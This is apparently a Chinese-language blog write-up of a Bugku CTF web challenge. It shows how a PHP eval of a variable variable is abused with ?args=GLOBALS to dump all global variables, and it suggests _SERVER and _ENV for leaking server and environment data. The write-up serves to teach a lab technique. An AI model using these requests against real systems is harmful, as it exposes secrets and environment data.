2 min read

Bugku CTF - 變量1 writeup (zh-TW)

Bugku CTF - 變量1 writeup (zh-TW)

題目資訊

解題過程

Step 1: 程式碼分析

關鍵部分:

  1. include "flag1.php" - 包含外部檔案,flag 應該儲存在某個變數中
  2. preg_match("/^\w+$/") - 只允許字母、數字、底線
  3. eval("var_dump($$args);") - 使用可變變數

Step 2: 理解 PHP 可變變數

PHP 可變變數語法 $$variable 可以動態存取變數:

$name = "flag";
$flag = "flag{hello}";
echo $$name;  // 執行過程:$$name → ${"flag"} → $flag → "flag{hello}"

應用到本題:

  • $args = "flag1"
  • $$args = $flag1
  • 就會輸出 $flag1 變數的值

Step 3: 使用 GLOBALS 萬能解法

PHP 的 $GLOBALS 是一個超全域變數,包含所有全域變數的關聯陣列。

訪問

http://目標/?args=GLOBALS

輸出結果

array(8) {
  ["_GET"]=>
  array(1) {
    ["args"]=>
    string(7) "GLOBALS"
  }
  ["_POST"]=>
  array(0) {
  }
  ["flag1"]=>
  string(38) "flag{php_variable_variables}"
  ["GLOBALS"]=>
  *RECURSION*
  ["args"]=>
  string(7) "GLOBALS"
}

🎯 在輸出中找到 flag1 的值,成功取得 Flag!

其他可能可以利用的超全域變數

  • ?args=_SERVER - 伺服器和環境資訊
  • ?args=_ENV - 環境變數
  • ?args=_GET - GET 參數
  • ?args=_POST - POST 參數

學習重點

1. PHP 可變變數機制

  • $$variable 可以動態存取變數
  • 常見危險函數:extract(), parse_str(), $$_GET['var']

2. GLOBALS 的使用

$GLOBALS  // 包含所有全域變數
$GLOBALS['varname']  // 等同於 $varname

經驗分享

關於Step 2:

這一步有嘗試利用下面幾個方式,但顯示NULL,所以才嘗試用GLOBALS

?args=flag1    # 直接猜測變數名
?args=flag
?args=FLAG